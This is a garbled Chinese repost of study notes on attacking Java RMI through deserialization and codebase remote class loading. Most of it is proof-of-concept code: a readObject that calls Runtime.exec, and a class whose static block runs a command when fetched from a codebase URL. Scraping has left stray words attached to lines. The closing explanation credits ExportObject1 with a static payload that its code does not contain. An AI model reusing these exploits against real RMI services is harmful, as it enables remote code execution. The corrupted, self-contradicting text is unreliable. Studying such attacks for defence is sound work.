關於看後的一些總結-1

原文地址:https://www.anquanke.com/post/id/194384#h3-3java

1.java rmi

關於rmi客戶端和服務端通訊的過程,java的方法都實如今rmi服務端,客戶端其實是經過訪問rmi註冊表拿到stub,而後再經過它調用服務端方法,那麼調用方法時要傳遞參數,參數能夠爲通常類型,也能夠爲引用類型,那麼若是爲引用類型,就可以利用服務端已經有的gaget chain來打server,由於參數其實是序列化傳輸的,那麼數據到達服務端後一定會通過反序列化。服務器

客戶端:ide

RMIClient.java函數

package com.longofo.javarmi;

import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient { /** * Java RMI惡意利用demo * * @param args * @throws Exception */ public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); // 獲取遠程對象的引用 Services services = (Services) registry.lookup("Services"); PublicKnown malicious = new PublicKnown(); malicious.setParam("calc"); malicious.setMessage("haha"); // 使用遠程對象的引用調用對應的方法  System.out.println(services.sendMessage(malicious)); } }

此時客戶端要打服務端,所以要將惡意的對象做爲參數傳遞到服務端,此時序列化的對象將在服務端反序列化post

publicKnown.javathis

package com.longofo.javarmi;

import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class PublicKnown extends Message implements Serializable { private static final long serialVersionUID = 7439581476576889858L; private String param; public void setParam(String param) { this.param = param; } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(this.param); } }

此時要傳遞的惡意對象確定要符合服務端參數類型的定義spa

服務端:code

RMIServer.javaserver

//RMIServer.java
package com.longofo.javarmi;

import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer { /** * Java RMI 服務端 * * @param args */ public static void main(String[] args) { try { // 實例化服務端遠程對象 ServicesImpl obj = new ServicesImpl(); // 沒有繼承UnicastRemoteObject時須要使用靜態方法exportObject處理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); Registry reg; try { // 建立Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //綁定遠程對象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }

ServiceImpl.java對象

package com.longofo.javarmi;

import java.rmi.RemoteException; public class ServicesImpl implements Services { public ServicesImpl() throws RemoteException { } @Override public Object sendMessage(Message msg) throws RemoteException { return msg.getMessage(); } }

Service.java

package com.longofo.javarmi;

import java.rmi.RemoteException; public interface Services extends java.rmi.Remote { Object sendMessage(Message msg) throws RemoteException; }

Message.java

package com.longofo.javarmi;

import java.io.Serializable; public class Message implements Serializable { private static final long serialVersionUID = -6210579029160025375L; private String msg; public Message() { } public String getMessage() { System.out.println("Processing message: " + msg); return msg; } public void setMessage(String msg) { this.msg = msg; } }

因此這裏服務端存在漏洞的即爲ServicesImpl類,其存在一個方法其入口參數爲Message對象,而且這裏Message這個類是繼承自Serializable,便可以進行反序列化。服務端經過bind()函數綁定遠程對象到RMI註冊表中,此時客戶端便可以訪問RMI註冊表拿到stub,便可調用服務端的方法,好比sendMessage()函數

此時先啓動RMIServer.java,而後再啓動RMIClient.java,便可達到打rmi服務端的效果,這裏jdk版本爲1.6

 

在服務端的readObject處下斷點,便可看到調用棧,通過ConnectHandler後就可以肯定服務端要反序列化的類名

 接下來就是經過反射調用PublicKnown類的readObject方法 ,進而到達readObject內部的命令執行代碼段

2.java rmi 動態加載類

2.1RMI服務端打客戶端

java rmi動態加載類,其實就是經過指定codebase來制定遠程的類倉庫,咱們知道java在運行過程當中須要類的時候能夠在本地加載,即在classpath中找,那麼也能夠經過codebase來指定遠程庫。默認是不容許遠程加載的,如需加載則須要安裝RMISecurityManager而且配置java.security.policy。而且須要java.rmi.server.useCodebaseOnly 的值必需爲false,固然這也是受jdk版本限制的。

RMIClient.java

package com.longofo.javarmi;

import java.rmi.RMISecurityManager; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient1 { /** * Java RMI惡意利用demo * * @param args * @throws Exception */ public static void main(String[] args) throws Exception { //若是須要使用RMI的動態加載功能,須要開啓RMISecurityManager,並配置policy以容許從遠程加載類庫 System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); // 獲取遠程對象的引用 Services services = (Services) registry.lookup("Services"); Message message = new Message(); message.setMessage("hahaha"); services.sendMessage(message); } }

此時RMI客戶端正常操做,傳入Message對象,並調用服務端sendMessage方法

ServiceImpl.java

package com.longofo.javarmi;

import com.longofo.remoteclass.ExportObject; import java.rmi.RemoteException; public class ServicesImpl1 implements Services { @Override public ExportObject sendMessage(Message msg) throws RemoteException { return new ExportObject(); } }

能夠看到此時服務端實現Services接口的類的sendMessage方法返回值爲ExportObject類型,即該類的實例

ExportObject.java

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.longofo.remoteclass;

import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.Serializable; import java.util.Hashtable; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; public class ExportObject implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public ExportObject() { } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr; String lineStr; for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") { } inBr.close(); in.close(); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } static { try { exec("calc"); } catch (Exception var1) { var1.printStackTrace(); } } }

這裏實際上服務端返回的即爲該ExportObject類的實例,該類是實現了對象工廠類,而且能夠序列化的,因此能夠經過jrmp進行傳輸,咱們只須要將其編譯放在服務器端指定的codebase地址便可等待客戶端來加載,當客戶端遠程加載該類時將會實例化該類,即調用該類的static代碼段

RMIServer.java

package com.longofo.javarmi;

import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer1 { public static void main(String[] args) { try { // 實例化服務端遠程對象 ServicesImpl1 obj = new ServicesImpl1(); // 沒有繼承UnicastRemoteObject時須要使用靜態方法exportObject處理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); //設置java.rmi.server.codebase System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry reg; try { // 建立Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //綁定遠程對象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }

此時RMIServer端指定了客戶端codebase的地址,即客戶端反序列化ExportObject時須要加載該類,此時將經過服務端提供的codebase來加載

此時先啓動託管遠程類的服務端,將ExportObject.class放在codebase指定的位置,這裏要注意包名要和目錄名相一致

而後啓動RMI服務端,啓動RMI客戶端,即完成了客戶端要調用sendMessage方法,此時服務端返回了ExportObject對象,客戶端發現返回的是ExportObject對象後,那將在本地的classpath中沒找到該類,則經過服務端指定的codebase來加載該類,加載該類的後將實例化該類,從而觸發calc

此時託管class的http服務端也收到了加載class文件的請求

2.2RMI客戶端打服務端

RMIClient.java

package com.longofo.javarmi;

import com.longofo.remoteclass.ExportObject1; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient2 { public static void main(String[] args) throws Exception { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999); // 獲取遠程對象的引用 Services services = (Services) registry.lookup("Services"); ExportObject1 exportObject1 = new ExportObject1(); exportObject1.setMessage("hahaha"); services.sendMessage(exportObject1); } }

上面RMI客戶端打RMI服務端是服務端來指定codebase地址供客戶端參考,客戶端來加載codebase地址的class文件,那麼從上面這段代碼能夠看到此時是客戶端制定了codebase地址,那麼固然服務端就得從客戶端指定的codebase來加載class了,能夠看到此時客戶端調用服務端的sendMessage函數傳遞的是ExportObject1對象

ExportObject1.java

package com.longofo.remoteclass;

import com.longofo.javarmi.Message; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.Serializable; import java.util.Hashtable; public class ExportObject1 extends Message implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }

此時該類繼承自Message類,實現對象工廠接口,而且支持序列化

ServiceImpl.java

package com.longofo.javarmi;

import java.rmi.RemoteException; public class ServicesImpl implements Services { public ServicesImpl() throws RemoteException { } @Override public Object sendMessage(Message msg) throws RemoteException { return msg.getMessage(); } }

RMIServer.java

//RMIServer2.java
package com.longofo.javarmi;

import java.rmi.AlreadyBoundException; import java.rmi.RMISecurityManager; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer2 { /** * Java RMI 服務端 * * @param args */ public static void main(String[] args) { try { // 實例化服務端遠程對象 ServicesImpl obj = new ServicesImpl(); // 沒有繼承UnicastRemoteObject時須要使用靜態方法exportObject處理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); Registry reg; try { //若是須要使用RMI的動態加載功能,須要開啓RMISecurityManager,並配置policy以容許從遠程加載類庫 System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); // 建立Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //綁定遠程對象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }

能夠由以上代碼看到,此時RMI服務端綁定的services接口對應的ServicesImpl.java中sendMessage函數將會調用入口參數Message類型對象的getmessage函數,這裏方法體內容是什麼並不重要,由於這種打法和第一節中的打法同樣,都是打RMI服務端,區別是第一節是利用RMI服務端本地的gaget chain,而這裏則是利用遠程類加載,經過客戶端指定的codebase來打RMI服務端。

 因此此時codebase的地址也將受到請求ExportObject1.class的請求,由於服務端發現穿送過來的ExportObject1類classpath裏面沒有,全部就會經過客戶端指定的codebase加載,從而實例化該惡意ExportObject1類,執行static代碼塊的命令

相關文章
相關標籤/搜索